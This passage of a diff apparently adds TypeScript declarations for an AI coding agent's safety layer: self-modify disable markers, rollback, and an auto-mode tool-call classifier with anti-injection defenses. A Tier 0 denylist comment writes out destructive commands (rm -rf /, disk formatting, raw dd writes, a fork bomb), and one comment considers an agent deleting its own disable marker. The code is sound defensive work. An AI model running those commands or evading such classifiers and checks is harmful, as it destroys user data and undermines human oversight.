declare function remaining(state: BudgetState): number;
|
|
3990
|
+
/**
|
|
3991
|
+
* Reset the consumption counter to zero. Does not change the limit.
|
|
3992
|
+
* Surface to users via `kodax constructed reset-self-modify-budget`.
|
|
3993
|
+
*
|
|
3994
|
+
* Returns the post-write state so the CLI can confirm "now N/N
|
|
3995
|
+
* available" without an extra read.
|
|
3996
|
+
*/
|
|
3997
|
+
declare function resetBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
|
|
3998
|
+
|
|
3999
|
+
/**
|
|
4000
|
+
* FEATURE_090 (v0.7.32) — Per-agent self-modify disable marker.
|
|
4001
|
+
*
|
|
4002
|
+
* The marker file at `.kodax/constructed/agents/<name>/_self_modify_disabled.json`
|
|
4003
|
+
* indicates the operator has explicitly disabled an agent's self-modify
|
|
4004
|
+
* capability through the `kodax constructed disable-self-modify <name>`
|
|
4005
|
+
* CLI. `validateSelfModify` consults this state and hard-rejects with
|
|
4006
|
+
* the `self-modify-disabled` rule when the marker exists.
|
|
4007
|
+
*
|
|
4008
|
+
* One-way ratchet by design:
|
|
4009
|
+
*
|
|
4010
|
+
* The CLI exposes `disable-self-modify` but no symmetrical `enable`.
|
|
4011
|
+
* Re-enabling self-modify is intentionally NOT supported — once an
|
|
4012
|
+
* operator decides an agent shouldn't be able to rewrite itself,
|
|
4013
|
+
* that decision sticks for the lifetime of the agent. To regain a
|
|
4014
|
+
* "can self-modify" agent, stage a separately-named replacement
|
|
4015
|
+
* through `stage_agent_construction`.
|
|
4016
|
+
*
|
|
4017
|
+
* Why a separate file (not a flag inside `_self_modify.json`):
|
|
4018
|
+
* - Concerns are independent: budget consumption is a counter that
|
|
4019
|
+
* legitimately mutates every activation cycle; disable is a
|
|
4020
|
+
* permanent operator decision. Mixing them would force the
|
|
4021
|
+
* budget read path to discriminate "is the file just a counter
|
|
4022
|
+
* update, or did someone also flip the disable flag?"
|
|
4023
|
+
* - File presence as the truth value is dead simple to detect
|
|
4024
|
+
* (`fs.access` returns OK / ENOENT).
|
|
4025
|
+
*
|
|
4026
|
+
* Threat model: same as the rest of FEATURE_090's persisted state —
|
|
4027
|
+
* single-user CLI workspace integrity (DD §14.5). An agent with
|
|
4028
|
+
* filesystem write access could create the marker itself, which is
|
|
4029
|
+
* actually fine: writing the marker only DISABLES (one-way safety
|
|
4030
|
+
* ratchet). Removing it would re-enable, but `validateSelfModify`
|
|
4031
|
+
* still requires the marker to be present to reject — if a
|
|
4032
|
+
* resourceful agent removes the marker AND submits a self-modify in
|
|
4033
|
+
* the same session, the modify still has to pass admission /
|
|
4034
|
+
* guardrail ratchet / user approval. The marker is one layer of
|
|
4035
|
+
* defense, not the only one.
|
|
4036
|
+
*/
|
|
4037
|
+
interface DisableState {
|
|
4038
|
+
readonly name: string;
|
|
4039
|
+
readonly disabled: boolean;
|
|
4040
|
+
readonly disabledAt?: string;
|
|
4041
|
+
readonly user?: string;
|
|
4042
|
+
}
|
|
4043
|
+
interface DisableIO {
|
|
4044
|
+
readonly cwd?: string;
|
|
4045
|
+
}
|
|
4046
|
+
/**
|
|
4047
|
+
* Read the disable marker for `name`. Returns
|
|
4048
|
+
* `{ disabled: false, name }` when the file does not exist (the
|
|
4049
|
+
* common case). Malformed JSON content is treated as "not disabled"
|
|
4050
|
+
* with a stderr warning — we don't want a corrupt marker to silently
|
|
4051
|
+
* permit self-modifies on an agent the operator meant to disable.
|
|
4052
|
+
*
|
|
4053
|
+
* No, wait — we DO want corrupt markers to fail safe in the
|
|
4054
|
+
* "disabled" direction so an attacker can't bypass disable by
|
|
4055
|
+
* corrupting the file. Override: malformed → treat as disabled.
|
|
4056
|
+
*/
|
|
4057
|
+
declare function readDisableState(name: string, io?: DisableIO): Promise<DisableState>;
|
|
4058
|
+
interface DisableOptions {
|
|
4059
|
+
readonly cwd?: string;
|
|
4060
|
+
readonly user?: string;
|
|
4061
|
+
}
|
|
4062
|
+
/**
|
|
4063
|
+
* Write the disable marker. Idempotent — calling on an
|
|
4064
|
+
* already-disabled agent rewrites the timestamp, preserving the
|
|
4065
|
+
* one-way ratchet semantics (the CLI surface still records the new
|
|
4066
|
+
* audit entry separately).
|
|
4067
|
+
*/
|
|
4068
|
+
declare function disableSelfModify(name: string, options?: DisableOptions): Promise<DisableState>;
|
|
4069
|
+
|
|
4070
|
+
/**
|
|
4071
|
+
* FEATURE_090 (v0.7.32) — Self-modify rollback orchestration.
|
|
4072
|
+
*
|
|
4073
|
+
* `rollbackSelfModify` is the runtime-level operation behind the
|
|
4074
|
+
* `kodax constructed rollback <name>` CLI. It restores the
|
|
4075
|
+
* previously-active version of a constructed agent by:
|
|
4076
|
+
*
|
|
4077
|
+
* 1. Identifying the current active version (the `status='active'`
|
|
4078
|
+
* record with the most recent `activatedAt`).
|
|
4079
|
+
* 2. Identifying the rollback target — the next-most-recent
|
|
4080
|
+
* `status='active'` record on disk for the same name. Earlier
|
|
4081
|
+
* versions stay at `status='active'` after a self-modify
|
|
4082
|
+
* activate (FEATURE_090 design intent: keep them as rollback
|
|
4083
|
+
* targets), so the candidate set is whatever the file system
|
|
4084
|
+
* has.
|
|
4085
|
+
* 3. Revoking the current active record (status → 'revoked',
|
|
4086
|
+
* removed from the resolver via the unregister callback).
|
|
4087
|
+
* 4. Re-registering the target into the resolver. No policy gate,
|
|
4088
|
+
* no LLM summary, no force-ask-user — rollback is its own
|
|
4089
|
+
* operator-driven gate; the CLI invocation itself is the
|
|
4090
|
+
* authorisation.
|
|
4091
|
+
*
|
|
4092
|
+
* We do NOT rewrite the target's `activatedAt`. The original
|
|
4093
|
+
* activation timestamps form a natural rollback chain: a second
|
|
4094
|
+
* rollback against the same agent picks the next-older active
|
|
4095
|
+
* record, and so on. Rewriting `activatedAt` would collapse the
|
|
4096
|
+
* history and break chained rollbacks.
|
|
4097
|
+
*
|
|
4098
|
+
* Why a dedicated function (not a thin wrapper around `activate()`):
|
|
4099
|
+
*
|
|
4100
|
+
* - `activate()` triggers the FEATURE_090 self-modify detection
|
|
4101
|
+
* (`sourceAgent === name && active prev exists`). In a rollback
|
|
4102
|
+
* flow that detection would mis-fire and route through
|
|
4103
|
+
* force-ask-user / LLM summary, asking the user for permission
|
|
4104
|
+
* they already granted by invoking the rollback CLI.
|
|
4105
|
+
* - `activate()` enforces the FEATURE_088 policy gate; the CLI
|
|
4106
|
+
* surface configures `policy='reject'`, so it would always
|
|
4107
|
+
* throw.
|
|
4108
|
+
* - Rollback is read-modify-write across two persisted records
|
|
4109
|
+
* (revoke + re-register) and benefits from atomic-ish ordering
|
|
4110
|
+
* hidden behind one function rather than scattered across the
|
|
4111
|
+
* CLI.
|
|
4112
|
+
*
|
|
4113
|
+
* Audit semantics: this module persists the resolver/disk changes
|
|
4114
|
+
* but does NOT write the audit entry — the CLI surface owns audit
|
|
4115
|
+
* attribution (records the OS user) and writes the
|
|
4116
|
+
* `self_modify_rolled_back` entry around the call. Keeps the
|
|
4117
|
+
* runtime's persistence concern separate from CLI-side attribution.
|
|
4118
|
+
*/
|
|
4119
|
+
interface RollbackResult {
|
|
4120
|
+
readonly agentName: string;
|
|
4121
|
+
readonly fromVersion: string;
|
|
4122
|
+
readonly toVersion: string;
|
|
4123
|
+
readonly fromActivatedAt: number | undefined;
|
|
4124
|
+
readonly toActivatedAt: number | undefined;
|
|
4125
|
+
}
|
|
4126
|
+
/**
|
|
4127
|
+
* Roll back `name` to its previous active version. Throws
|
|
4128
|
+
* `RollbackError` with a discriminated `code` so the CLI surface can
|
|
4129
|
+
* map onto exit codes / human-readable messages without string
|
|
4130
|
+
* matching.
|
|
4131
|
+
*
|
|
4132
|
+
* Pre-conditions:
|
|
4133
|
+
* - At least two records on disk for the given name with
|
|
4134
|
+
* `status='active'` and `activatedAt` set. The current is
|
|
4135
|
+
* revoked; the next-most-recent becomes the active resolver
|
|
4136
|
+
* entry.
|
|
4137
|
+
* - The rollback target's manifest must still pass admission. We
|
|
4138
|
+
* re-run admission so a target that was admissible at the time
|
|
4139
|
+
* it originally activated but no longer is (system caps tightened,
|
|
4140
|
+
* registered invariants changed) can't be silently re-registered.
|
|
4141
|
+
*/
|
|
4142
|
+
declare function rollbackSelfModify(name: string): Promise<RollbackResult>;
|
|
4143
|
+
|
|
4144
|
+
/**
|
|
4145
|
+
* Auto-Mode Classifier Orchestrator — FEATURE_092 Phase 2b.3 (v0.7.33).
|
|
4146
|
+
*
|
|
4147
|
+
* Wires the classifier prompt + sideQuery + output parser into a single
|
|
4148
|
+
* `classify(...)` call. Caller supplies the rules, transcript, and the
|
|
4149
|
+
* tool-call action being classified; gets back a `ClassifyDecision`.
|
|
4150
|
+
*
|
|
4151
|
+
* Failure → decision mapping:
|
|
4152
|
+
*
|
|
4153
|
+
* sideQuery.stopReason parsedOutput → ClassifyDecision
|
|
4154
|
+
* ───────────────────────────────────────────────────────
|
|
4155
|
+
* end_turn / max_tokens block → block (with reason)
|
|
4156
|
+
* end_turn / max_tokens allow → allow
|
|
4157
|
+
* end_turn / max_tokens unparseable → block (fail-closed)
|
|
4158
|
+
* end_turn / max_tokens + tool_use → block (contract violation)
|
|
4159
|
+
* (sideQuery returns stopReason='error' here)
|
|
4160
|
+
* timeout — → escalate (user confirms)
|
|
4161
|
+
* aborted — → escalate (treated as caller-abort)
|
|
4162
|
+
* error — → escalate (5xx / 429 / network)
|
|
4163
|
+
*
|
|
4164
|
+
* Why fail-closed on unparseable but escalate on timeout/error:
|
|
4165
|
+
* Unparseable = model spoke but didn't follow the contract → likely
|
|
4166
|
+
* trying to bypass; treating as block is conservative and safe.
|
|
4167
|
+
* Timeout/error = transient; blocking would punish the user for our
|
|
4168
|
+
* infra hiccup. Escalating to a confirm dialog preserves user
|
|
4169
|
+
* agency without putting safety on the line.
|
|
4170
|
+
*/
|
|
4171
|
+
|
|
4172
|
+
interface ClassifyOptions {
|
|
4173
|
+
readonly provider: KodaXBaseProvider;
|
|
4174
|
+
readonly model: string;
|
|
4175
|
+
readonly rules: AutoRules;
|
|
4176
|
+
readonly claudeMd?: string;
|
|
4177
|
+
readonly transcript: readonly KodaXMessage[];
|
|
4178
|
+
readonly action: string;
|
|
4179
|
+
/**
|
|
4180
|
+
* FEATURE_158 (v0.7.39): static-analysis signals forwarded to the
|
|
4181
|
+
* classifier prompt. Empty / undefined preserves the FEATURE_092 prompt
|
|
4182
|
+
* shape (no `<signals>` block emitted). When supplied, the classifier
|
|
4183
|
+
* sees signals between `<transcript>` and `<action>` as informational
|
|
4184
|
+
* input — not verdicts.
|
|
4185
|
+
*/
|
|
4186
|
+
readonly signals?: readonly ToolCallSignal[];
|
|
4187
|
+
readonly timeoutMs?: number;
|
|
4188
|
+
readonly abortSignal?: AbortSignal;
|
|
4189
|
+
readonly costTracker?: CostTracker;
|
|
4190
|
+
/**
|
|
4191
|
+
* Optional setter — invoked once after `sideQuery` returns when the
|
|
4192
|
+
* classifier successfully recorded its token usage. The CostTracker is
|
|
4193
|
+
* immutable, so `sideQuery` produces a fresh tracker copy with the new
|
|
4194
|
+
* record; without this setter the recorded call is silently dropped.
|
|
4195
|
+
* Wired by the AutoModeToolGuardrail so the agent's tracker accumulates
|
|
4196
|
+
* classifier calls under role='auto_mode'.
|
|
4197
|
+
*/
|
|
4198
|
+
readonly setCostTracker?: (next: CostTracker) => void;
|
|
4199
|
+
}
|
|
4200
|
+
type ClassifyDecision = {
|
|
4201
|
+
readonly kind: 'allow';
|
|
4202
|
+
readonly reason: string;
|
|
4203
|
+
} | {
|
|
4204
|
+
readonly kind: 'block';
|
|
4205
|
+
readonly reason: string;
|
|
4206
|
+
} | {
|
|
4207
|
+
readonly kind: 'escalate';
|
|
4208
|
+
readonly reason: string;
|
|
4209
|
+
};
|
|
4210
|
+
declare function classify(opts: ClassifyOptions): Promise<ClassifyDecision>;
|
|
4211
|
+
|
|
4212
|
+
/**
|
|
4213
|
+
* Classifier prompt builder — FEATURE_092 Phase 2b.3 (v0.7.33).
|
|
4214
|
+
*
|
|
4215
|
+
* Builds the system prompt + user message for the auto-mode classifier
|
|
4216
|
+
* sideQuery. Inert XML envelope: transcript and action are wrapped as
|
|
4217
|
+
* data, not as continuation of the conversation.
|
|
4218
|
+
*
|
|
4219
|
+
* Anti-injection defenses:
|
|
4220
|
+
* 1. The system prompt explicitly instructs the model to treat
|
|
4221
|
+
* <transcript> as data, never as instructions.
|
|
4222
|
+
* 2. User-controlled strings (transcript content, action, rules) are
|
|
4223
|
+
* passed through `neutralizeStructuralDelimiters` so they can't
|
|
4224
|
+
* forge a closing </transcript> or a fake <action>.
|
|
4225
|
+
* 3. Output format is constrained to `<block>yes|no</block><reason>…</reason>`
|
|
4226
|
+
* with explicit "Do NOT include thinking or preamble" guidance.
|
|
4227
|
+
*/
|
|
4228
|
+
|
|
4229
|
+
interface BuildClassifierPromptInput {
|
|
4230
|
+
readonly rules: AutoRules;
|
|
4231
|
+
readonly claudeMd?: string;
|
|
4232
|
+
readonly transcript: readonly KodaXMessage[];
|
|
4233
|
+
readonly action: string;
|
|
4234
|
+
/**
|
|
4235
|
+
* FEATURE_158 (v0.7.39): mechanical pattern matches over the tool call
|
|
4236
|
+
* (dangerous_pattern / protected_path / outside_project / network / etc.).
|
|
4237
|
+
* Surfaced to the model as **informational input** — NOT verdicts. The
|
|
4238
|
+
* model weighs signals alongside transcript + rules to produce the
|
|
4239
|
+
* final allow / block / escalate decision.
|
|
4240
|
+
*
|
|
4241
|
+
* Empty / undefined → no `<signals>` block emitted (back-compat shape
|
|
4242
|
+
* for callers that don't yet supply signals).
|
|
4243
|
+
*/
|
|
4244
|
+
readonly signals?: readonly ToolCallSignal[];
|
|
4245
|
+
}
|
|
4246
|
+
interface ClassifierPrompt {
|
|
4247
|
+
readonly system: string;
|
|
4248
|
+
readonly messages: readonly KodaXMessage[];
|
|
4249
|
+
}
|
|
4250
|
+
declare function buildClassifierPrompt(input: BuildClassifierPromptInput): ClassifierPrompt;
|
|
4251
|
+
|
|
4252
|
+
/**
|
|
4253
|
+
* Transcript stripping for the auto-mode classifier — FEATURE_092 Phase 2b.3 (v0.7.33).
|
|
4254
|
+
*
|
|
4255
|
+
* The classifier sees a SUBSET of the main session's transcript:
|
|
4256
|
+
*
|
|
4257
|
+
* - user messages (text and tool_result blocks) KEEP
|
|
4258
|
+
* - assistant tool_use blocks (factual record) KEEP
|
|
4259
|
+
* - assistant text + thinking + redacted_thinking DROP
|
|
4260
|
+
*
|
|
4261
|
+
* Why drop assistant reasoning:
|
|
4262
|
+
* 1. Prompt-injection defense — the main agent may have absorbed
|
|
4263
|
+
* instructions from a poisoned tool_result; its reasoning could
|
|
4264
|
+
* then propagate that injection to the classifier.
|
|
4265
|
+
* 2. Noise reduction — assistant prose dilutes the signal the
|
|
4266
|
+
* classifier needs (user intent + actual tool calls).
|
|
4267
|
+
* 3. Cost — main-session reasoning can be tens of KB; classifier
|
|
4268
|
+
* input should stay in the few-KB range.
|
|
4269
|
+
*
|
|
4270
|
+
* Two size budgets:
|
|
4271
|
+
* - maxToolResultBytes (default 2KB) — per-tool_result content cap
|
|
4272
|
+
* - maxTranscriptBytes (default 8KB) — total serialized size cap;
|
|
4273
|
+
* drops middle messages first, preserves first user message
|
|
4274
|
+
* (original intent) and recent tail.
|
|
4275
|
+
*/
|
|
4276
|
+
|
|
4277
|
+
interface StripOptions {
|
|
4278
|
+
readonly maxToolResultBytes?: number;
|
|
4279
|
+
readonly maxTranscriptBytes?: number;
|
|
4280
|
+
}
|
|
4281
|
+
declare function stripAssistantText(messages: readonly KodaXMessage[], opts?: StripOptions): KodaXMessage[];
|
|
4282
|
+
|
|
4283
|
+
/**
|
|
4284
|
+
* Parse the auto-mode classifier's output — FEATURE_092 Phase 2b.3 (v0.7.33).
|
|
4285
|
+
*
|
|
4286
|
+
* Expected format:
|
|
4287
|
+
* <block>yes|no</block><reason>one short sentence</reason>
|
|
4288
|
+
*
|
|
4289
|
+
* Robustness:
|
|
4290
|
+
* - case-insensitive yes/no
|
|
4291
|
+
* - whitespace inside / around tags tolerated
|
|
4292
|
+
* - reason is optional (treated as '' if missing)
|
|
4293
|
+
* - if block tag missing or value is neither yes/no → unparseable (caller
|
|
4294
|
+
* fail-closes to block, per design doc)
|
|
4295
|
+
* - reasons longer than 500 chars are truncated (defense against
|
|
4296
|
+
* pathological model outputs)
|
|
4297
|
+
* - first <block> tag wins (defense against prompt-injection echoing
|
|
4298
|
+
* the format with a different value later)
|
|
4299
|
+
*/
|
|
4300
|
+
type ClassifierDecision = {
|
|
4301
|
+
readonly kind: 'block';
|
|
4302
|
+
readonly reason: string;
|
|
4303
|
+
} | {
|
|
4304
|
+
readonly kind: 'allow';
|
|
4305
|
+
readonly reason: string;
|
|
4306
|
+
} | {
|
|
4307
|
+
readonly kind: 'unparseable';
|
|
4308
|
+
readonly raw: string;
|
|
4309
|
+
};
|
|
4310
|
+
declare function parseClassifierOutput(raw: string): ClassifierDecision;
|
|
4311
|
+
|
|
4312
|
+
/**
|
|
4313
|
+
* Classifier Model Resolver — FEATURE_092 Phase 2b.5 (v0.7.33).
|
|
4314
|
+
*
|
|
4315
|
+
* Determines which (provider, model) pair the auto-mode classifier should
|
|
4316
|
+
* call sideQuery against. Supports a 4-layer override chain (highest wins):
|
|
4317
|
+
*
|
|
4318
|
+
* 1. CLI flag (--auto-classifier-model <spec>)
|
|
4319
|
+
* 2. Env var (KODAX_AUTO_CLASSIFIER_MODEL)
|
|
4320
|
+
* 3. Session override (/auto-model <spec>)
|
|
4321
|
+
* 4. User settings (~/.kodax/settings.json: autoMode.classifierModel)
|
|
4322
|
+
*
|
|
4323
|
+
* Falls back to the main session's (provider, model) when no override is
|
|
4324
|
+
* set — matching Claude Code's "use the same model you'd use for coding"
|
|
4325
|
+
* default. Spec format: "provider:model" or just "model" (provider then
|
|
4326
|
+
* inherits from the default-main).
|
|
4327
|
+
*
|
|
4328
|
+
* This module does NOT instantiate a KodaXBaseProvider — it returns names.
|
|
4329
|
+
* The actual provider lookup happens at the AutoModeToolGuardrail call site
|
|
4330
|
+
* (Phase 2b.6) so this module stays trivially testable without
|
|
4331
|
+
* provider-registry side effects.
|
|
4332
|
+
*
|
|
4333
|
+
* Capability check (provider.supportsAutoModeClassifier) is deferred to a
|
|
4334
|
+
* follow-up phase — extending FEATURE_029 capability profiles touches every
|
|
4335
|
+
* provider. For v1 the call simply fails fast at sideQuery time if the
|
|
4336
|
+
* provider can't stream text.
|
|
4337
|
+
*/
|
|
4338
|
+
interface ParsedModelSpec {
|
|
4339
|
+
readonly providerName: string | null;
|
|
4340
|
+
readonly model: string;
|
|
4341
|
+
}
|
|
4342
|
+
type ResolveSource = 'cli' | 'env' | 'session-override' | 'user-settings' | 'default-main';
|
|
4343
|
+
interface ResolveClassifierModelOptions {
|
|
4344
|
+
readonly cliFlag?: string;
|
|
4345
|
+
readonly envVar?: string;
|
|
4346
|
+
readonly sessionOverride?: string;
|
|
4347
|
+
readonly userSettings?: string;
|
|
4348
|
+
readonly defaultProvider: string;
|
|
4349
|
+
readonly defaultModel: string;
|
|
4350
|
+
}
|
|
4351
|
+
interface ResolvedClassifierModel {
|
|
4352
|
+
readonly providerName: string;
|
|
4353
|
+
readonly model: string;
|
|
4354
|
+
readonly source: ResolveSource;
|
|
4355
|
+
}
|
|
4356
|
+
declare function parseModelSpec(spec: string): ParsedModelSpec;
|
|
4357
|
+
declare function resolveClassifierModel(opts: ResolveClassifierModelOptions): ResolvedClassifierModel;
|
|
4358
|
+
|
|
4359
|
+
/**
|
|
4360
|
+
* Bash Signal Collector — FEATURE_158 Step 3 (v0.7.39).
|
|
4361
|
+
*
|
|
4362
|
+
* Command-string-level mechanical pattern matches over a `bash` tool call.
|
|
4363
|
+
* Produces signals the auto-mode classifier consumes as informational input
|
|
4364
|
+
* (NOT verdicts — see `signals.ts` invariants).
|
|
4365
|
+
*
|
|
4366
|
+
* Scope of this collector:
|
|
4367
|
+
* - dangerous_pattern (wraps `classifyBashCommand` from bash-classifier.ts;
|
|
4368
|
+
* DEFAULT_DANGEROUS_PATTERNS hits become signals)
|
|
4369
|
+
* - network (curl / wget / fetch literal token)
|
|
4370
|
+
* - package_install (npm/pnpm/yarn/pip/cargo/apt/brew install verbs)
|
|
4371
|
+
* - git_write (commit / push / reset / clean / rebase /
|
|
4372
|
+
* cherry-pick / revert)
|
|
4373
|
+
*
|
|
4374
|
+
* **Out of scope (deferred to REPL-side `extraCollectors`)**:
|
|
4375
|
+
* - protected_path / outside_project signals that depend on extracting
|
|
4376
|
+
* paths from a bash command argv. The AST + path-extraction utilities
|
|
4377
|
+
* live in `@kodax/repl` for historical reasons (Issue 131 root cause);
|
|
4378
|
+
* keeping this module repl-independent preserves layer boundaries
|
|
4379
|
+
* (ADR-021). The guardrail accepts `extraCollectors` so REPL can inject
|
|
4380
|
+
* a path-aware bash collector built on its `extractPathsFromCommand`.
|
|
4381
|
+
*
|
|
4382
|
+
* Purity: deterministic given `call.input.command`. No async, no I/O.
|
|
4383
|
+
*/
|
|
4384
|
+
|
|
4385
|
+
declare const bashSignalCollector: SignalCollector;
|
|
4386
|
+
|
|
4387
|
+
/**
|
|
4388
|
+
* File Signal Collector — FEATURE_158 Step 3 (v0.7.39).
|
|
4389
|
+
*
|
|
4390
|
+
* Produces signals for `write` / `edit` tool calls about the target path's
|
|
4391
|
+
* relation to the project + protected zones. Used by the auto-mode
|
|
4392
|
+
* classifier as informational input (NOT verdicts — see `signals.ts`
|
|
4393
|
+
* invariants).
|
|
4394
|
+
*
|
|
4395
|
+
* Signal kinds produced:
|
|
4396
|
+
* - protected_path (path under <projectRoot>/.kodax or ~/.kodax)
|
|
4397
|
+
* - outside_project (path outside projectRoot AND outside system temp)
|
|
4398
|
+
* - file_modification (always emitted with target path — coarse-grained
|
|
4399
|
+
* flag for the classifier to anchor file-edit context)
|
|
4400
|
+
*
|
|
4401
|
+
* Tier 0 (absolute deny) for `~/.kodax/` writes is a separate module —
|
|
4402
|
+
* this collector still emits the protected_path signal for `~/.kodax/`
|
|
4403
|
+
* because the classifier prompt benefits from seeing it, but Tier 0
|
|
4404
|
+
* intercepts before the classifier ever runs in production. The signal
|
|
4405
|
+
* here remains useful for tests and for downgraded engine paths.
|
|
4406
|
+
*
|
|
4407
|
+
* Purity: deterministic given `call.input.path` + `projectRoot` + stable
|
|
4408
|
+
* env (KODAX_HOME, system temp). `getAgentConfigHome()` and `os.tmpdir()`
|
|
4409
|
+
* are env-stable per process — acceptable per `signals.ts` purity contract.
|
|
4410
|
+
*/
|
|
4411
|
+
|
|
4412
|
+
declare const fileSignalCollector: SignalCollector;
|
|
4413
|
+
|
|
4414
|
+
/**
|
|
4415
|
+
* Tier 0 — Absolute Denylist — FEATURE_158 Step 4 (v0.7.39).
|
|
4416
|
+
*
|
|
4417
|
+
* The narrowest possible set of catastrophic patterns that must NEVER reach
|
|
4418
|
+
* the LLM classifier (which is fallible / can be prompt-injected). Per
|
|
4419
|
+
* ADR-025: every entry here must satisfy BOTH gates:
|
|
4420
|
+
*
|
|
4421
|
+
* (a) "is there any legitimate context in which this should be allowed?"
|
|
4422
|
+
* — answer must be **no**.
|
|
4423
|
+
* (b) "could the LLM be convinced to allow it under prompt injection?"
|
|
4424
|
+
* — answer must be **yes** (otherwise classifier is sufficient).
|
|
4425
|
+
*
|
|
4426
|
+
* The 5-item list is **frozen** by ADR-025; adding entries requires a new
|
|
4427
|
+
* ADR addendum answering (a)+(b) again. Removing entries requires evidence
|
|
4428
|
+
* of high-volume false-positive friction.
|
|
4429
|
+
*
|
|
4430
|
+
* Patterns:
|
|
4431
|
+
*
|
|
4432
|
+
* 1. rm_rf_root — `rm -rf /`, `rm -rf ~`, `rm -rf $HOME` (and quoted
|
|
4433
|
+
* / -fr variants). Excludes `rm -rf /tmp/foo` (which
|
|
4434
|
+
* is a `dangerous_pattern` signal but reaches LLM).
|
|
4435
|
+
* 2. mkfs_or_format — `mkfs.* /dev/sd*`, `fdisk /dev/sd*`, `format C:`.
|
|
4436
|
+
* Block formatting any disk device.
|
|
4437
|
+
* 3. dd_disk_write — `dd of=/dev/sd*` (raw-disk write). Excludes
|
|
4438
|
+
* `dd of=test.bin` (file write — reaches LLM as
|
|
4439
|
+
* dangerous_pattern signal).
|
|
4440
|
+
* 4. fork_bomb — `:(){ :|:& };:` — denial of service.
|
|
4441
|
+
* 5. user_kodax_write — write/edit to any path under `~/.kodax/`
|
|
4442
|
+
* (credentials zone — internal kodax config writes
|
|
4443
|
+
* use the TypeScript API, not bash/tools, so the
|
|
4444
|
+
* only path here is LLM-emitted shell which is
|
|
4445
|
+
* always wrong).
|
|
4446
|
+
*
|
|
4447
|
+
* Layer note: bash-level `~/.kodax/` writes (e.g. `echo x > ~/.kodax/y`)
|
|
4448
|
+
* require AST path-extraction which lives in `@kodax/repl`. The REPL-side
|
|
4449
|
+
* collector wired through `extraCollectors` (Step 7) escalates those to
|
|
4450
|
+
* Tier 0 by emitting a synthetic `user_kodax_write` denial via the same
|
|
4451
|
+
* `AbsoluteDenyResult` shape. This module handles the file-tool path
|
|
4452
|
+
* directly (the most common attack vector) and the four command-string
|
|
4453
|
+
* patterns that don't need path extraction.
|
|
4454
|
+
*/
|
|
4455
|
+
|
|
4456
|
+
type TierZeroPatternId = 'rm_rf_root' | 'mkfs_or_format' | 'dd_disk_write' | 'fork_bomb' | 'user_kodax_write';
|
|
4457
|
+
interface AbsoluteDenyMatch {
|
|
4458
|
+
readonly denied: true;
|
|
4459
|
+
readonly patternId: TierZeroPatternId;
|
|
4460
|
+
readonly reason: string;
|
|
4461
|
+
}
|
|
4462
|
+
interface AbsoluteDenyMiss {
|
|
4463
|
+
readonly denied: false;
|
|
4464
|
+
}
|
|
4465
|
+
type AbsoluteDenyResult = AbsoluteDenyMatch | AbsoluteDenyMiss;
|
|
4466
|
+
/**
|
|
4467
|
+
* Check a tool call against the Tier 0 absolute denylist. Returns the
|
|
4468
|
+
* first matching pattern, or `{ denied: false }` if no pattern fires.
|
|
4469
|
+
*
|
|
4470
|
+
* Order is deterministic — patterns checked in the order defined above.
|
|
4471
|
+
* Multiple matches would be possible (e.g. `rm -rf / ; :(){...};:`) but
|
|
4472
|
+
* we return the first hit since the guardrail acts on `denied: true`
|
|
4473
|
+
* regardless and the reason string is one-shot.
|
|
4474
|
+
*
|
|
4475
|
+
* **Pure**: deterministic given (call, projectRoot, stable env).
|
|
4476
|
+
* **Fast**: ~5 regex tests + 1-2 string ops; safe to run on every
|
|
4477
|
+
* non-Tier-1 call without measurable overhead.
|
|
4478
|
+
*/
|
|
4479
|
+
declare function checkAbsoluteDeny(call: RunnerToolCall, projectRoot: string): AbsoluteDenyResult;
|
|
4480
|
+
|
|
4481
|
+
/**
|
|
4482
|
+
* Speculative Classify — FEATURE_158 Step 4 (v0.7.39).
|
|
4483
|
+
*
|
|
4484
|
+
* Races an in-flight classifier promise against a short "quiet window".
|
|
4485
|
+
* When the classifier returns within the window, callers can use the
|
|
4486
|
+
* decision immediately — no confirm dialog, no perceptible latency. When
|
|
4487
|
+
* the window expires first, callers fall through to the normal escalate
|
|
4488
|
+
* flow (confirm dialog, with the classifier still running in background
|
|
4489
|
+
* so the dialog can adopt the verdict if it arrives in time).
|
|
4490
|
+
*
|
|
4491
|
+
* Design ref: ADR-025 + FEATURE_158 (docs/features/v0.7.39.md).
|
|
4492
|
+
*
|
|
4493
|
+
* **The promise is NOT aborted on window expiry.** The caller retains
|
|
4494
|
+
* ownership; they pass the same `Promise<T>` to `speculativeRace` and
|
|
4495
|
+
* can `await` it elsewhere. This keeps the classifier from being
|
|
4496
|
+
* cancelled mid-flight when 95% of calls are sub-window — wasting the
|
|
4497
|
+
* remaining 5% would burn tokens already spent.
|
|
4498
|
+
*
|
|
4499
|
+
* Env knob: `KODAX_AUTO_SPECULATIVE_WINDOW_MS`
|
|
4500
|
+
* - default: 500 (CC's equivalent race uses ~2000ms with timeout race;
|
|
4501
|
+
* 500ms is conservative for first iteration, finalized after
|
|
4502
|
+
* micro-bench in commit body)
|
|
4503
|
+
* - `0` : disabled — `speculativeRace` waits forever for the promise
|
|
4504
|
+
* (degrades to synchronous classify)
|
|
4505
|
+
* - negative: treated as `0` (disabled)
|
|
4506
|
+
* - non-numeric: ignored, default used
|
|
4507
|
+
*/
|
|
4508
|
+
type SpeculativeResult<T> = {
|
|
4509
|
+
readonly kind: 'resolved';
|
|
4510
|
+
readonly value: T;
|
|
4511
|
+
} | {
|
|
4512
|
+
readonly kind: 'window-expired';
|
|
4513
|
+
};
|
|
4514
|
+
declare const DEFAULT_WINDOW_MS = 500;
|
|
4515
|
+
/**
|
|
4516
|
+
* Read the speculative window from `process.env[ENV_VAR]`. Returns
|
|
4517
|
+
* `undefined` when the env var is unset or malformed (caller falls back
|
|
4518
|
+
* to `DEFAULT_WINDOW_MS`). Returns `0` to mean "disabled — wait forever".
|
|
4519
|
+
*/
|
|
4520
|
+
declare function readWindowFromEnv(): number | undefined;
|
|
4521
|
+
/**
|
|
4522
|
+
* Race the given promise against the speculative window. Returns
|
|
4523
|
+
* `{kind: 'resolved', value}` when the promise wins (preferred fast path)
|
|
4524
|
+
* or `{kind: 'window-expired'}` when the timer wins.
|
|
4525
|
+
*
|
|
4526
|
+
* Caller responsibilities:
|
|
4527
|
+
* - Hold the original `promise` reference. If the window expires, the
|
|
4528
|
+
* caller can still `await promise` later — speculativeRace does NOT
|
|
4529
|
+
* cancel it.
|
|
4530
|
+
* - If the promise REJECTS within the window, this function rejects
|
|
4531
|
+
* too (callers `try/catch` or attach `.catch` upstream). When the
|
|
4532
|
+
* window expires before rejection, the rejection is silently
|
|
4533
|
+
